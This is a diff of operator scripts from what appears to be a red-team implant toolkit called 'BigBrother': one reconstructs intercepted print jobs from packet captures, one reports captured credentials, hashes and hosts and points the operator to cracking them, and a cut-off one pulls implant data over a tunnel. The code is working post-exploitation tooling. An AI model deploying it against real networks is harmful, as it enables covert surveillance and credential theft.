#
|
||||||
|
# Usage: ./extract_print_jobs.sh <pcap_dir> [output_dir]
|
||||||
|
#
|
||||||
|
# Requires: tshark, ghostscript (gs)
|
||||||
|
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
RED='\033[0;31m'
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
CYAN='\033[0;36m'
|
||||||
|
NC='\033[0m'
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Arguments
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
PCAP_DIR="${1:-}"
|
||||||
|
OUTPUT_DIR="${2:-$(pwd)/print-jobs-$(date +%Y%m%d-%H%M%S)}"
|
||||||
|
|
||||||
|
if [[ -z "$PCAP_DIR" ]]; then
|
||||||
|
echo -e "${RED}Usage: $0 <pcap_dir> [output_dir]${NC}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ ! -d "$PCAP_DIR" ]]; then
|
||||||
|
echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Check dependencies
|
||||||
|
for tool in tshark gs; do
|
||||||
|
if ! command -v "$tool" &>/dev/null; then
|
||||||
|
echo -e "${RED}[-] $tool not found${NC}"
|
||||||
|
case "$tool" in
|
||||||
|
tshark) echo " Install with: apt install tshark" ;;
|
||||||
|
gs) echo " Install with: apt install ghostscript" ;;
|
||||||
|
esac
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
mkdir -p "$OUTPUT_DIR"/{raw,pdf,metadata}
|
||||||
|
|
||||||
|
echo -e "${CYAN}[*] BigBrother Print Job Extraction${NC}"
|
||||||
|
echo -e " PCAP dir: ${PCAP_DIR}"
|
||||||
|
echo -e " Output: ${OUTPUT_DIR}"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Extract print streams from PCAPs
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
JOB_COUNT=0
|
||||||
|
PDF_COUNT=0
|
||||||
|
|
||||||
|
for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
|
||||||
|
[[ -f "$pcap" ]] || continue
|
||||||
|
basename_pcap=$(basename "$pcap")
|
||||||
|
echo -e "${YELLOW}[*] Scanning: ${basename_pcap}${NC}"
|
||||||
|
|
||||||
|
# Check if this PCAP has any port 9100 traffic
|
||||||
|
has_print=$(tshark -r "$pcap" -Y "tcp.port == 9100" -c 1 2>/dev/null | wc -l)
|
||||||
|
if [[ "$has_print" -eq 0 ]]; then
|
||||||
|
echo -e " (no print traffic)"
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Extract TCP streams on port 9100
|
||||||
|
# Get unique stream indices for print traffic
|
||||||
|
streams=$(tshark -r "$pcap" -Y "tcp.dstport == 9100 && tcp.len > 0" \
|
||||||
|
-T fields -e tcp.stream 2>/dev/null | sort -un)
|
||||||
|
|
||||||
|
for stream_id in $streams; do
|
||||||
|
JOB_COUNT=$((JOB_COUNT + 1))
|
||||||
|
raw_file="$OUTPUT_DIR/raw/job_${JOB_COUNT}_stream${stream_id}.raw"
|
||||||
|
pdf_file="$OUTPUT_DIR/pdf/job_${JOB_COUNT}_stream${stream_id}.pdf"
|
||||||
|
meta_file="$OUTPUT_DIR/metadata/job_${JOB_COUNT}.txt"
|
||||||
|
|
||||||
|
# Extract the raw print data from the TCP stream
|
||||||
|
tshark -r "$pcap" -q -z "follow,tcp,raw,${stream_id}" 2>/dev/null | \
|
||||||
|
grep -E '^[0-9a-fA-F]+$' | xxd -r -p > "$raw_file" 2>/dev/null || true
|
||||||
|
|
||||||
|
if [[ ! -s "$raw_file" ]]; then
|
||||||
|
rm -f "$raw_file"
|
||||||
|
JOB_COUNT=$((JOB_COUNT - 1))
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
file_size=$(stat -c %s "$raw_file" 2>/dev/null || echo 0)
|
||||||
|
echo -e " Stream $stream_id: ${file_size} bytes"
|
||||||
|
|
||||||
|
# Record metadata (source/dest IPs, timestamps)
|
||||||
|
tshark -r "$pcap" -Y "tcp.stream == ${stream_id}" -c 1 \
|
||||||
|
-T fields -e ip.src -e ip.dst -e frame.time 2>/dev/null > "$meta_file" || true
|
||||||
|
echo "Raw file: $raw_file" >> "$meta_file"
|
||||||
|
echo "Size: $file_size bytes" >> "$meta_file"
|
||||||
|
|
||||||
|
# Detect format and convert to PDF
|
||||||
|
file_magic=$(head -c 20 "$raw_file" | cat -v 2>/dev/null || echo "")
|
||||||
|
|
||||||
|
if echo "$file_magic" | grep -q "%!PS\|%PDF\|^-E"; then
|
||||||
|
# PostScript or PDF — convert with Ghostscript
|
||||||
|
gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$pdf_file" \
|
||||||
|
"$raw_file" 2>/dev/null && {
|
||||||
|
PDF_COUNT=$((PDF_COUNT + 1))
|
||||||
|
echo -e " ${GREEN}Converted to PDF: $(basename $pdf_file)${NC}"
|
||||||
|
} || {
|
||||||
|
echo -e " ${RED}Ghostscript conversion failed${NC}"
|
||||||
|
}
|
||||||
|
elif echo "$file_magic" | grep -qi "^.E.*HP\|PCL\|PJL"; then
|
||||||
|
# PCL/PJL — try Ghostscript PCL interpreter
|
||||||
|
gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$pdf_file" \
|
||||||
|
"$raw_file" 2>/dev/null && {
|
||||||
|
PDF_COUNT=$((PDF_COUNT + 1))
|
||||||
|
echo -e " ${GREEN}Converted PCL to PDF: $(basename $pdf_file)${NC}"
|
||||||
|
} || {
|
||||||
|
echo -e " ${YELLOW}PCL conversion failed (raw data preserved)${NC}"
|
||||||
|
}
|
||||||
|
else
|
||||||
|
echo -e " ${YELLOW}Unknown format — raw data preserved${NC}"
|
||||||
|
echo "Format: unknown (magic: $(head -c 10 "$raw_file" | xxd -p 2>/dev/null))" >> "$meta_file"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
done
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Summary
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo -e "${GREEN}[+] Print job extraction complete${NC}"
|
||||||
|
echo -e " Print jobs found: ${JOB_COUNT}"
|
||||||
|
echo -e " Converted to PDF: ${PDF_COUNT}"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
if [[ $JOB_COUNT -gt 0 ]]; then
|
||||||
|
echo -e "${CYAN}[*] Output:${NC}"
|
||||||
|
echo " Raw data: $OUTPUT_DIR/raw/"
|
||||||
|
echo " PDFs: $OUTPUT_DIR/pdf/"
|
||||||
|
echo " Metadata: $OUTPUT_DIR/metadata/"
|
||||||
|
echo ""
|
||||||
|
ls -lhS "$OUTPUT_DIR/pdf/" 2>/dev/null | tail -20 | sed 's/^/ /'
|
||||||
|
fi
|
||||||
Executable
+509
@@ -0,0 +1,509 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""BigBrother Operator Script — Generate Engagement Report.
|
||||||
|
|
||||||
|
Pulls data from SQLite databases synced from the implant and generates
|
||||||
|
a structured engagement report in both Markdown and HTML formats.
|
||||||
|
|
||||||
|
Sections:
|
||||||
|
1. Executive Summary
|
||||||
|
2. Network Topology & Host Inventory
|
||||||
|
3. Captured Credentials
|
||||||
|
4. DNS Intelligence
|
||||||
|
5. Traffic Analysis
|
||||||
|
6. Timeline of Events
|
||||||
|
7. Recommendations
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 generate_report.py <data_dir> [--output <path>] [--title <title>]
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
python3 generate_report.py ./bb-pull-20240115
|
||||||
|
python3 generate_report.py ./bb-pull-20240115 --title "ACME Corp Assessment"
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import sqlite3
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
from collections import Counter, defaultdict
|
||||||
|
from datetime import datetime, timezone
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Database helpers
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def connect_db(db_path):
|
||||||
|
"""Connect to a SQLite database if it exists."""
|
||||||
|
if not os.path.isfile(db_path):
|
||||||
|
return None
|
||||||
|
try:
|
||||||
|
conn = sqlite3.connect(db_path)
|
||||||
|
conn.row_factory = sqlite3.Row
|
||||||
|
return conn
|
||||||
|
except Exception:
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def safe_query(conn, sql, params=None):
|
||||||
|
"""Execute a query, returning empty list on error."""
|
||||||
|
if conn is None:
|
||||||
|
return []
|
||||||
|
try:
|
||||||
|
cursor = conn.execute(sql, params or ())
|
||||||
|
return cursor.fetchall()
|
||||||
|
except Exception:
|
||||||
|
return []
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Data collection
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def collect_credentials(data_dir):
|
||||||
|
"""Collect credentials from credential database and Responder logs."""
|
||||||
|
creds = []
|
||||||
|
|
||||||
|
# From credential DB
|
||||||
|
conn = connect_db(os.path.join(data_dir, "databases", "credentials.db"))
|
||||||
|
if conn:
|
||||||
|
rows = safe_query(conn, """
|
||||||
|
SELECT timestamp, source_ip, target_ip, target_service,
|
||||||
|
username, domain, credential_type, hashcat_mode
|
||||||
|
FROM credentials
|
||||||
|
ORDER BY timestamp
|
||||||
|
""")
|
||||||
|
for r in rows:
|
||||||
|
creds.append({
|
||||||
|
"timestamp": r["timestamp"],
|
||||||
|
"source_ip": r["source_ip"] or "",
|
||||||
|
"target_ip": r["target_ip"] or "",
|
||||||
|
"service": r["target_service"] or "",
|
||||||
|
"username": r["username"] or "",
|
||||||
|
"domain": r["domain"] or "",
|
||||||
|
"type": r["credential_type"] or "",
|
||||||
|
"hashcat_mode": r["hashcat_mode"],
|
||||||
|
})
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
return creds
|
||||||
|
|
||||||
|
|
||||||
|
def collect_hosts(data_dir):
|
||||||
|
"""Collect host inventory from state database."""
|
||||||
|
hosts = []
|
||||||
|
conn = connect_db(os.path.join(data_dir, "databases", "state.db"))
|
||||||
|
if conn:
|
||||||
|
rows = safe_query(conn, """
|
||||||
|
SELECT key, value FROM kv_store
|
||||||
|
WHERE module = 'host_discovery'
|
||||||
|
""")
|
||||||
|
for r in rows:
|
||||||
|
try:
|
||||||
|
host_data = json.loads(r["value"])
|
||||||
|
if isinstance(host_data, dict):
|
||||||
|
hosts.append(host_data)
|
||||||
|
except (json.JSONDecodeError, TypeError):
|
||||||
|
pass
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
# Also check topology DB
|
||||||
|
conn = connect_db(os.path.join(data_dir, "databases", "topology.db"))
|
||||||
|
if conn:
|
||||||
|
rows = safe_query(conn, """
|
||||||
|
SELECT ip, mac, hostname, os, vendor, first_seen, last_seen
|
||||||
|
FROM hosts
|
||||||
|
ORDER BY ip
|
||||||
|
""")
|
||||||
|
for r in rows:
|
||||||
|
hosts.append({
|
||||||
|
"ip": r["ip"],
|
||||||
|
"mac": r["mac"] or "",
|
||||||
|
"hostname": r["hostname"] or "",
|
||||||
|
"os": r["os"] or "",
|
||||||
|
"vendor": r["vendor"] or "",
|
||||||
|
"first_seen": r["first_seen"],
|
||||||
|
"last_seen": r["last_seen"],
|
||||||
|
})
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
return hosts
|
||||||
|
|
||||||
|
|
||||||
|
def collect_dns_stats(data_dir):
|
||||||
|
"""Collect DNS query statistics."""
|
||||||
|
stats = {"total_queries": 0, "top_domains": [], "top_queriers": [], "doh_count": 0}
|
||||||
|
|
||||||
|
conn = connect_db(os.path.join(data_dir, "databases", "dns_queries.db"))
|
||||||
|
if not conn:
|
||||||
|
return stats
|
||||||
|
|
||||||
|
# Total queries
|
||||||
|
rows = safe_query(conn, "SELECT COUNT(*) as cnt FROM dns_queries")
|
||||||
|
stats["total_queries"] = rows[0]["cnt"] if rows else 0
|
||||||
|
|
||||||
|
# DoH detections
|
||||||
|
rows = safe_query(conn, "SELECT COUNT(*) as cnt FROM dns_queries WHERE is_doh = 1")
|
||||||
|
stats["doh_count"] = rows[0]["cnt"] if rows else 0
|
||||||
|
|
||||||
|
# Top queried domains
|
||||||
|
rows = safe_query(conn, """
|
||||||
|
SELECT domain, COUNT(*) as cnt
|
||||||
|
FROM dns_queries WHERE is_doh = 0
|
||||||
|
GROUP BY domain ORDER BY cnt DESC LIMIT 20
|
||||||
|
""")
|
||||||
|
stats["top_domains"] = [(r["domain"], r["cnt"]) for r in rows]
|
||||||
|
|
||||||
|
# Top querier IPs
|
||||||
|
rows = safe_query(conn, """
|
||||||
|
SELECT source_ip, COUNT(*) as cnt
|
||||||
|
FROM dns_queries WHERE is_doh = 0
|
||||||
|
GROUP BY source_ip ORDER BY cnt DESC LIMIT 15
|
||||||
|
""")
|
||||||
|
stats["top_queriers"] = [(r["source_ip"], r["cnt"]) for r in rows]
|
||||||
|
|
||||||
|
conn.close()
|
||||||
|
return stats
|
||||||
|
|
||||||
|
|
||||||
|
def collect_module_status(data_dir):
|
||||||
|
"""Collect module runtime status."""
|
||||||
|
modules = {}
|
||||||
|
conn = connect_db(os.path.join(data_dir, "databases", "state.db"))
|
||||||
|
if conn:
|
||||||
|
rows = safe_query(conn, """
|
||||||
|
SELECT module, status, started, updated
|
||||||
|
FROM module_status
|
||||||
|
""")
|
||||||
|
for r in rows:
|
||||||
|
modules[r["module"]] = {
|
||||||
|
"status": r["status"],
|
||||||
|
"started": r["started"],
|
||||||
|
"updated": r["updated"],
|
||||||
|
}
|
||||||
|
conn.close()
|
||||||
|
return modules
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Report generation
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def generate_markdown(data_dir, title, creds, hosts, dns_stats, modules):
|
||||||
|
"""Generate Markdown report."""
|
||||||
|
now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
|
||||||
|
lines = []
|
||||||
|
|
||||||
|
def add(text=""):
|
||||||
|
lines.append(text)
|
||||||
|
|
||||||
|
# Header
|
||||||
|
add(f"# {title}")
|
||||||
|
add(f"\n**Generated:** {now}")
|
||||||
|
add(f"**Data Source:** `{os.path.abspath(data_dir)}`\n")
|
||||||
|
add("---\n")
|
||||||
|
|
||||||
|
# Executive Summary
|
||||||
|
add("## 1. Executive Summary\n")
|
||||||
|
add(f"- **Hosts Discovered:** {len(hosts)}")
|
||||||
|
add(f"- **Credentials Captured:** {len(creds)}")
|
||||||
|
|
||||||
|
cred_types = Counter(c["type"] for c in creds)
|
||||||
|
for ctype, count in cred_types.most_common():
|
||||||
|
add(f" - {ctype}: {count}")
|
||||||
|
|
||||||
|
unique_users = len(set(c["username"] for c in creds if c["username"]))
|
||||||
|
add(f"- **Unique Users:** {unique_users}")
|
||||||
|
add(f"- **DNS Queries Logged:** {dns_stats['total_queries']:,}")
|
||||||
|
add(f"- **DoH Blind Spots:** {dns_stats['doh_count']}")
|
||||||
|
add(f"- **Modules Active:** {sum(1 for m in modules.values() if m['status'] == 'running')}")
|
||||||
|
add("")
|
||||||
|
|
||||||
|
# Host Inventory
|
||||||
|
add("## 2. Network Topology & Host Inventory\n")
|
||||||
|
if hosts:
|
||||||
|
add("| IP | MAC | Hostname | OS | Vendor |")
|
||||||
|
add("|---|---|---|---|---|")
|
||||||
|
for h in hosts[:100]: # Cap at 100 for readability
|
||||||
|
add(f"| {h.get('ip', '')} | {h.get('mac', '')} | {h.get('hostname', '')} "
|
||||||
|
f"| {h.get('os', '')} | {h.get('vendor', '')} |")
|
||||||
|
if len(hosts) > 100:
|
||||||
|
add(f"\n*({len(hosts)} total hosts — showing first 100)*\n")
|
||||||
|
else:
|
||||||
|
add("*No host data available.*\n")
|
||||||
|
|
||||||
|
# Credentials
|
||||||
|
add("\n## 3. Captured Credentials\n")
|
||||||
|
if creds:
|
||||||
|
add("| Time | User | Domain | Service | Type |")
|
||||||
|
add("|---|---|---|---|---|")
|
||||||
|
for c in creds[:50]:
|
||||||
|
ts = ""
|
||||||
|
if c.get("timestamp"):
|
||||||
|
try:
|
||||||
|
ts = datetime.fromtimestamp(c["timestamp"], tz=timezone.utc).strftime("%Y-%m-%d %H:%M")
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
add(f"| {ts} | {c['username']} | {c['domain']} | {c['service']} | {c['type']} |")
|
||||||
|
if len(creds) > 50:
|
||||||
|
add(f"\n*({len(creds)} total credentials — showing first 50)*\n")
|
||||||
|
|
||||||
|
add("\n### Credential Summary by Type\n")
|
||||||
|
for ctype, count in cred_types.most_common():
|
||||||
|
add(f"- **{ctype}**: {count}")
|
||||||
|
|
||||||
|
add("\n### Unique Users by Service\n")
|
||||||
|
service_users = defaultdict(set)
|
||||||
|
for c in creds:
|
||||||
|
if c["username"]:
|
||||||
|
service_users[c["service"]].add(c["username"])
|
||||||
|
for svc, users in sorted(service_users.items()):
|
||||||
|
add(f"- **{svc}**: {', '.join(sorted(users)[:10])}"
|
||||||
|
+ (f" (+{len(users)-10} more)" if len(users) > 10 else ""))
|
||||||
|
else:
|
||||||
|
add("*No credentials captured.*\n")
|
||||||
|
|
||||||
|
# DNS Intelligence
|
||||||
|
add("\n## 4. DNS Intelligence\n")
|
||||||
|
add(f"- **Total Queries:** {dns_stats['total_queries']:,}")
|
||||||
|
add(f"- **DoH Detections (blind spots):** {dns_stats['doh_count']}\n")
|
||||||
|
|
||||||
|
if dns_stats["top_domains"]:
|
||||||
|
add("### Top Queried Domains\n")
|
||||||
|
add("| Domain | Queries |")
|
||||||
|
add("|---|---|")
|
||||||
|
for domain, count in dns_stats["top_domains"]:
|
||||||
|
add(f"| {domain} | {count:,} |")
|
||||||
|
|
||||||
|
if dns_stats["top_queriers"]:
|
||||||
|
add("\n### Top DNS Clients\n")
|
||||||
|
add("| IP | Queries |")
|
||||||
|
add("|---|---|")
|
||||||
|
for ip, count in dns_stats["top_queriers"]:
|
||||||
|
add(f"| {ip} | {count:,} |")
|
||||||
|
|
||||||
|
# Module Status
|
||||||
|
add("\n## 5. Module Status\n")
|
||||||
|
if modules:
|
||||||
|
add("| Module | Status | Started |")
|
||||||
|
add("|---|---|---|")
|
||||||
|
for name, info in sorted(modules.items()):
|
||||||
|
started = ""
|
||||||
|
if info.get("started"):
|
||||||
|
try:
|
||||||
|
started = datetime.fromtimestamp(
|
||||||
|
info["started"], tz=timezone.utc
|
||||||
|
).strftime("%Y-%m-%d %H:%M")
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
add(f"| {name} | {info['status']} | {started} |")
|
||||||
|
else:
|
||||||
|
add("*No module status data available.*\n")
|
||||||
|
|
||||||
|
# Recommendations
|
||||||
|
add("\n## 6. Recommendations\n")
|
||||||
|
add("1. **Credential Analysis**: Run `crack_hashes.sh` against captured NTLMv2 hashes")
|
||||||
|
add("2. **File Extraction**: Run `extract_files.sh` on PCAPs for document recovery")
|
||||||
|
add("3. **Print Jobs**: Check for print traffic with `extract_print_jobs.sh`")
|
||||||
|
add("4. **Email Analysis**: Run `extract_emails.sh` for SMTP traffic recovery")
|
||||||
|
add("5. **Offline Analysis**: Run Zeek against PCAPs for deep protocol analysis")
|
||||||
|
add("")
|
||||||
|
|
||||||
|
add("---\n")
|
||||||
|
add(f"*Report generated by BigBrother operator tooling — {now}*")
|
||||||
|
|
||||||
|
return "\n".join(lines)
|
||||||
|
|
||||||
|
|
||||||
|
def markdown_to_html(markdown_text, title):
|
||||||
|
"""Convert Markdown report to standalone HTML."""
|
||||||
|
# Simple Markdown-to-HTML conversion (no external deps)
|
||||||
|
html_lines = []
|
||||||
|
in_table = False
|
||||||
|
in_list = False
|
||||||
|
|
||||||
|
html_lines.append(f"""<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>{title}</title>
|
||||||
|
<style>
|
||||||
|
body{{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;max-width:1000px;margin:0 auto;padding:40px 20px;color:#1d1d1f;line-height:1.6;background:#fafafa}}
|
||||||
|
h1{{color:#1a1a2e;border-bottom:3px solid #0066cc;padding-bottom:12px}}
|
||||||
|
h2{{color:#16213e;margin-top:32px;border-bottom:1px solid #ddd;padding-bottom:8px}}
|
||||||
|
h3{{color:#333;margin-top:20px}}
|
||||||
|
table{{border-collapse:collapse;width:100%;margin:12px 0;font-size:14px}}
|
||||||
|
th,td{{border:1px solid #ddd;padding:8px 12px;text-align:left}}
|
||||||
|
th{{background:#f0f2f5;font-weight:600}}
|
||||||
|
tr:nth-child(even){{background:#f9f9f9}}
|
||||||
|
tr:hover{{background:#f0f2f5}}
|
||||||
|
code{{background:#f0f2f5;padding:2px 6px;border-radius:4px;font-size:13px}}
|
||||||
|
hr{{border:none;border-top:1px solid #ddd;margin:24px 0}}
|
||||||
|
ul{{margin:8px 0}}
|
||||||
|
li{{margin:4px 0}}
|
||||||
|
strong{{color:#1a1a2e}}
|
||||||
|
em{{color:#666}}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
""")
|
||||||
|
|
||||||
|
for line in markdown_text.split("\n"):
|
||||||
|
stripped = line.strip()
|
||||||
|
|
||||||
|
# Headings
|
||||||
|
if stripped.startswith("# "):
|
||||||
|
if in_table:
|
||||||
|
html_lines.append("</table>")
|
||||||
|
in_table = False
|
||||||
|
level = len(stripped) - len(stripped.lstrip("#"))
|
||||||
|
text = stripped.lstrip("# ").strip()
|
||||||
|
html_lines.append(f"<h{level}>{_inline_format(text)}</h{level}>")
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Horizontal rule
|
||||||
|
if stripped == "---":
|
||||||
|
if in_table:
|
||||||
|
html_lines.append("</table>")
|
||||||
|
in_table = False
|
||||||
|
html_lines.append("<hr>")
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Table
|
||||||
|
if "|" in stripped and stripped.startswith("|"):
|
||||||
|
cells = [c.strip() for c in stripped.split("|")[1:-1]]
|
||||||
|
if all(c.replace("-", "").replace(":", "") == "" for c in cells):
|
||||||
|
continue # Skip separator row
|
||||||
|
if not in_table:
|
||||||
|
html_lines.append("<table>")
|
||||||
|
in_table = True
|
||||||
|
tag = "th"
|
||||||
|
else:
|
||||||
|
tag = "td"
|
||||||
|
row = "".join(f"<{tag}>{_inline_format(c)}</{tag}>" for c in cells)
|
||||||
|
html_lines.append(f"<tr>{row}</tr>")
|
||||||
|
continue
|
||||||
|
|
||||||
|
if in_table and not stripped.startswith("|"):
|
||||||
|
html_lines.append("</table>")
|
||||||
|
in_table = False
|
||||||
|
|
||||||
|
# List items
|
||||||
|
if stripped.startswith("- ") or stripped.startswith("* "):
|
||||||
|
if not in_list:
|
||||||
|
html_lines.append("<ul>")
|
||||||
|
in_list = True
|
||||||
|
text = stripped[2:].strip()
|
||||||
|
html_lines.append(f"<li>{_inline_format(text)}</li>")
|
||||||
|
continue
|
||||||
|
elif stripped.startswith(tuple(f"{i}. " for i in range(1, 20))):
|
||||||
|
if not in_list:
|
||||||
|
html_lines.append("<ol>")
|
||||||
|
in_list = True
|
||||||
|
text = stripped.split(". ", 1)[1] if ". " in stripped else stripped
|
||||||
|
html_lines.append(f"<li>{_inline_format(text)}</li>")
|
||||||
|
continue
|
||||||
|
|
||||||
|
if in_list and not stripped.startswith(("-", "*")) and not stripped[:2].rstrip(".").isdigit():
|
||||||
|
html_lines.append("</ul>" if in_list else "</ol>")
|
||||||
|
in_list = False
|
||||||
|
|
||||||
|
# Empty line
|
||||||
|
if not stripped:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Paragraph
|
||||||
|
html_lines.append(f"<p>{_inline_format(stripped)}</p>")
|
||||||
|
|
||||||
|
if in_table:
|
||||||
|
html_lines.append("</table>")
|
||||||
|
if in_list:
|
||||||
|
html_lines.append("</ul>")
|
||||||
|
|
||||||
|
html_lines.append("</body></html>")
|
||||||
|
return "\n".join(html_lines)
|
||||||
|
|
||||||
|
|
||||||
|
def _inline_format(text):
|
||||||
|
"""Apply inline Markdown formatting (bold, code, italic)."""
|
||||||
|
import re
|
||||||
|
text = re.sub(r"\*\*(.+?)\*\*", r"<strong>\1</strong>", text)
|
||||||
|
text = re.sub(r"`(.+?)`", r"<code>\1</code>", text)
|
||||||
|
text = re.sub(r"\*(.+?)\*", r"<em>\1</em>", text)
|
||||||
|
return text
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Main
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="Generate BigBrother engagement report from synced data."
|
||||||
|
)
|
||||||
|
parser.add_argument("data_dir", help="Path to pulled data directory")
|
||||||
|
parser.add_argument("--output", "-o", help="Output directory (default: <data_dir>/report)")
|
||||||
|
parser.add_argument("--title", "-t", default="BigBrother Engagement Report",
|
||||||
|
help="Report title")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
data_dir = args.data_dir
|
||||||
|
output_dir = args.output or os.path.join(data_dir, "report")
|
||||||
|
|
||||||
|
if not os.path.isdir(data_dir):
|
||||||
|
print(f"[-] Data directory not found: {data_dir}", file=sys.stderr)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
os.makedirs(output_dir, exist_ok=True)
|
||||||
|
|
||||||
|
print(f"[*] Generating report: {args.title}")
|
||||||
|
print(f" Data: {os.path.abspath(data_dir)}")
|
||||||
|
print(f" Output: {os.path.abspath(output_dir)}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# Collect data
|
||||||
|
print("[*] Collecting credentials...")
|
||||||
|
creds = collect_credentials(data_dir)
|
||||||
|
print(f" Found {len(creds)} credentials")
|
||||||
|
|
||||||
|
print("[*] Collecting host inventory...")
|
||||||
|
hosts = collect_hosts(data_dir)
|
||||||
|
print(f" Found {len(hosts)} hosts")
|
||||||
|
|
||||||
|
print("[*] Collecting DNS statistics...")
|
||||||
|
dns_stats = collect_dns_stats(data_dir)
|
||||||
|
print(f" {dns_stats['total_queries']:,} queries logged")
|
||||||
|
|
||||||
|
print("[*] Collecting module status...")
|
||||||
|
modules = collect_module_status(data_dir)
|
||||||
|
print(f" {len(modules)} modules tracked")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# Generate Markdown
|
||||||
|
print("[*] Generating Markdown report...")
|
||||||
|
md_report = generate_markdown(data_dir, args.title, creds, hosts, dns_stats, modules)
|
||||||
|
md_path = os.path.join(output_dir, "report.md")
|
||||||
|
with open(md_path, "w") as f:
|
||||||
|
f.write(md_report)
|
||||||
|
print(f" Saved: {md_path}")
|
||||||
|
|
||||||
|
# Generate HTML
|
||||||
|
print("[*] Generating HTML report...")
|
||||||
|
html_report = markdown_to_html(md_report, args.title)
|
||||||
|
html_path = os.path.join(output_dir, "report.html")
|
||||||
|
with open(html_path, "w") as f:
|
||||||
|
f.write(html_report)
|
||||||
|
print(f" Saved: {html_path}")
|
||||||
|
|
||||||
|
print()
|
||||||
|
print(f"[+] Report generation complete")
|
||||||
|
print(f" Markdown: {md_path}")
|
||||||
|
print(f" HTML: {html_path}")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Executable
+138
@@ -0,0 +1,138 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# BigBrother Operator Script — Pull Data from Implant
|
||||||
|
#
|
||||||
|
# Syncs structured data from the implant over WireGuard or Tailscale
|
||||||
|
# tunnel. Pulls credential DBs, DNS logs, host inventory, PCAPs, and
|
||||||
|
# all collected intelligence data.
|
||||||
|
#
|
||||||
|
# Usage: ./pull_data.sh <implant_host> [output_dir]
|
||||||
|
#
|
||||||
|
# Examples:
|
||||||
|
# ./pull_data.sh bb-implant-01 # Tailscale hostname
|
||||||
|
# ./pull_data.sh 100.64.0.5 /opt/engagements/acme
|
||||||
|
# ./pull_data.sh 10.8.0.2 ~/cases/case-001 # WireGuard IP
|
||||||
|
#
|
||||||
|
# Requires: rsync, ssh, Tailscale or WireGuard connectivity
|
||||||
|
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
RED='\033[0;31m'
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
CYAN='\033[0;36m'
|
||||||
|
NC='\033[0m'
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Arguments
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
IMPLANT="${1:-}"
|
||||||
|
OUTPUT_DIR="${2:-$(pwd)/bb-pull-$(date +%Y%m%d-%H%M%S)}"
|
||||||
|
SSH_USER="${BB_SSH_USER:-root}"
|
||||||
|
SSH_KEY="${BB_SSH_KEY:-}"
|
||||||
|
BB_DATA_DIR="${BB_DATA_DIR:-/root/.bigbrother}"
|
||||||
|
|
||||||
|
